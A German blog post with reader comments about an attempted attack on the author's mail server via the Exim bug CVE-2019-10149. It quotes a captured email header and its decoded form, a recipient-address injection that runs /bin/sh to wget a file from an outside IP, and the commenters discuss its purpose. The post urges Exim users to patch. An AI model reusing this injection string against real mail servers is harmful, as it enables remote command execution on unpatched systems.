Achtung, Exim-Bug unterwegs!
20. Juni 2019 um 16:51 Uhr von Atari-Frosch
Gestern erhielt ich zwei … „interessante“ E-Mails an den root-Account meines Servers. Der Body war jeweils leer. Der Header sieht so aus:
Return-Path: <support@service.com>
X-Original-To: root+${run{x2Fbinx2Fsht-ctx22wgetx2064.50.180.45x2ftmpx2f176.9.63.237x22}}@atari-frosch.de
Delivered-To: root+${run{x2Fbinx2Fsht-ctx22wgetx2064.50.180.45x2ftmpx2f176.9.63.237x22}}@atari-frosch.de
Received: from service.com (flamingw.arvixecloud.com [108.175.157.131])
by mail.atari-frosch.de (Postfix) with SMTP id B61EAC9E8;
Wed, 19 Jun 2019 16:58:45 +0200 (CEST)
Darunter folgten noch 31 Received-Zeilen, die jedoch nur jeweils die Zahlen von 1 bis 31 enthielten. Die To:-Zeile ist dabei das Spannende:
Wenn man da nämlich die encodeten Zeichen in Klartext umsetzt, kommt das hier raus:
root+${run{/bin/sh -ct "wget 64.50.180.45/tmp/176.9.63.237"}}@atari-frosch.de
Da steht also im localpart der Mailadresse (dem Teil vor dem @) eine Anweisung, die man eigentlich an der Konsole eingeben würde, davon ausgehend, daß der Mailserver das tatsächlich so interpretieren und dann auch ausführen würde. Das wäre schon ein sehr heftiger Bug, nicht wahr?
Das Krasse daran: Es ist tatsächlich einer, und zwar in der Mailserver-Software Exim. Nachdem ich diese lustige To:-Zeile auf Twitter gepostet hatte, wurde ich auf CVE-2019-10149 – „The Return of the WIZard“ – aufmerksam gemacht.
Allerdings hatte ich anfangs nur einen Teil der encodeten Zeichen als solche erkannt, weshalb ich das so gelesen hatte, daß wget aus einem Verzeichnis /bin/sht-ctx/ heraus aufgerufen werden sollte. Dieses Verzeichnis gibt es wohl tatsächlich – allerdings eher nicht auf Linux-Systemen. Es scheint eher was mit Solaris zu tun zu haben. Ich hab da allerdings nur oberflächlich recherchiert und das nicht genauer verfolgt.
Also: Wer Exim als Mailserver nutzt, sollte unbedingt und ganz schnell das Update einspielen!
Dankeschön an Freddie Leeman ,der meinen Tweet wohl via @AlexSchestag gesehen und beantwortet hat. (hat er nicht, sagt Alex. Ist aber auch egal ;-))
It is a recent Exim exploit. If you use Exim, make sure it's up-to-date. https://t.co/z7215XmQFx
— Freddie Leeman (@freddieleeman) June 20, 2019
Achja. Postfix guckt nur 'n bißchen komisch, sieht root+ als Beginn des localparts und räumt die Mail dann schulterzuckend in den root-Mailaccount. 😉
Das liegt daran, daß eigentlich alles, was nach einem + im localpart folgt, inclusive diesem vom Mailserver ignoriert werden soll. Mit dieser Methode kann man sich Mailadressen für bestimmte Zwecke quasi markieren, ohne das explizit in den Mailserver eintragen zu müssen. Im Mailprogramm kann man aber nach diesen Adreß-Zusätzen filtern und die Mails an diese erweiterte Adresse in ein separates Verzeichnis verschieben. Oder auch erkennen, wenn sie wo gelandet ist, wo sie nicht hinkommen sollte.
Für den Mailaccount von root ist das wohl eher ungewöhnlich, aber natürlich genauso möglich wie für alle anderen Mailaccounts.
[Update 2019-06-20 18:50] – Alex war, genau wie mir vorher auch schon, aufgefallen, daß da bei der „Auflösung“ des Encodings eventuell noch was nicht stimmen kann. Daher fragte er nochmal bei Freddie Leeman nach:
I recognized the t, but then it should be „root+${run{x2Fbinx2Fshx20-ctx22“ to be correct. There must be a space between the call of /bin/sh and the according parameters -ct, not a t.
— Atari-Frosch Blumenkind (@AtariFrosch) June 20, 2019
OK, ganz stimmte seine Interpretation noch nicht, deshalb hatte ich mich dann doch nochmal in den Thread mit eingemischt. Die Erklärung von Freddie war sinngemäß: Ja doch, paßt schon. Da stand nämlich ursprünglich nicht nur „t“, sondern „\t“, was für einen TAB steht. Der wiederum wird genauso wie ein Leerzeichen als „white space“ interpretiert; auf einer Konsole würde das also genauso funktionieren wie mit einem Leerzeichen.
Es waren offenbar auch noch weitere \ in der Zeichenkette enthalten gewesen, nämlich vor jedem encodeten Zeichen. Nur hat Postfix die offenbar rausgenommen, weil die da halt einfach nicht hingehören; das ist kein erlaubtes Zeichen im localpart einer Mailadresse. Damit stand das „t“ plötzlich alleine da bzw. schien zu den vorhergehenden Buchstaben zu gehören.
Ich hatte erst auf einen Typo beim Absender getippt, aber diese Erklärung ist natürlich noch sinnvoller. Ja, und da muß ich Postfix doch einfach mal loben. 🙂 Und natürlich auch den Freddie für die geduldigen Antworten.
[/Update]
22. Juni 2019 at 0:30
@Frosch: Hast du auch mal versucht heraus zu finen, was der wget da von dem Server lädt und wo der Server steht und wem er gehört?
22. Juni 2019 at 16:48
@SackOhneSenf: Nö, ich werd auch nicht versuchen, das runterzuladen, hab ich derzeit gar keine Zeit AKA Kapazitäten für.
Wo der Server steht und wem er gehört, ist dagegen leicht rauszufinden: whois zeigt auf eine Firma „Lunar Pages“ in Orange, Kalifornien, USA.
Eingeliefert wurde die Mail über eine vermutlich kurzfristig angemietete Cloud bei Firma Arvixe LLC in Austin, Texas, USA.
29. Juni 2019 at 15:05
Ein paar mehr exploit versuche hab ich auch grade getwittert: (bei mir war es Exim aber er ist in der „sichereren“ Default config.
https://twitter.com/eckes/status/1144919162441097216
Die beste Beschreibung kommt von Qualsys aus oss-Security:
https://lwn.net/ml/oss-security/20190606174356.GB1146@localhost.localdomain/#t
Ich würde sagen es ist ein Wurm aber die Verbreitung ist gering, weil nur der exploit für nicht-defaults genutzt wird.
Gruss
Bernd
29. Juni 2019 at 15:09
Das wget in deinem Fall scheint nur ein Ping zu sein, da die ip im abgerufenen Namen steht und der Download nicht gestartet wird wie es aussieht?.
29. Juni 2019 at 17:17
@Bernd: Danke! Ich hatte seitdem noch einen Versuch, ebenfalls mit root+ und wget. Die anderen Varianten habe ich hier allesamt nicht gesehen.
Bei mir kann der Download sowieso nicht gestartet werden, weil es halt kein Exim ist und erst recht keiner mit dem Bug. Ansonsten, und insbesondere wenn ich den Artikel bei lwn.net richtig interpretiere, würde der wget auf einem vuln System wohl auch gestartet werden. Die Frage ist dann: Würde man das Zielsystem dazu bringen können, das Heruntergeladene dann auch auszuführen? Dazu lese ich aus dem Kommando nämlich nichts heraus.
Aber vielleicht ist das auch erstmal gar nicht nötig: Wenn der Download von der angepeilten IP aus ausgeführt wird, sieht man das ja im Log des Hosts, auf dem die Datei liegt. Damit hat der Angreifer die Bestätigung, daß das Zielsystem generell auf diese Weise angreifbar ist, und kann richtig loslegen. Insofern kann man das durchaus als eine Art Ping interpretieren.
In Deinem Folgetweet hattest Du übrigens was von ip138.ip-217-182-38.eu stehen. Diese ip-Dingens mit .eu oder .net gehören allesamt zu OVH. Das sind die, die monatelang behaupten, daß sie was gegen einen Spammer unternehmen, während Du zugucken kannst, wie dieser in aller Seelenruhe weitermacht.
30. Juni 2019 at 7:58
Nach meiner kurzen Recherche ging der wget auf einen Server einer Firma in Kuwait, die wohl nichts mit Computer zu tun hat. Sah für mich so aus, als ob der Server selbst ausgenutzt wurde. Die in dem wget angegebene Datei konnte ich nicht auslesen, war wohl nicht mehr vorhanden.
… und ich muss @Bernd recht geben, das Resultat wäre nur gewesen den Inhalt aus der Datei die wget holt in die Adresse einzusetzen, damit ginge die Mail an: root+@DOMAIN, sonst wäre nix passiert. Was anderes als ein Ping kann es also nicht gewesen sein.
Parallel bin ich auf mehrere ähnliche Aufrufe gestoßen, so dass ich vermute, jemand wollte heraus finden, welche/wie viele Systeme für den Bug anfällig sind [Vermutung – ohne Beweis!].
30. Juni 2019 at 8:01
… ahh ich hasse die Online Formulare und Eingabe im Browser! Ehe man sich versieht, hat er etwas essentielles verschluckt 🙁
das sollte heißen: root+INHALT_WGET_DATEI@DOMAIN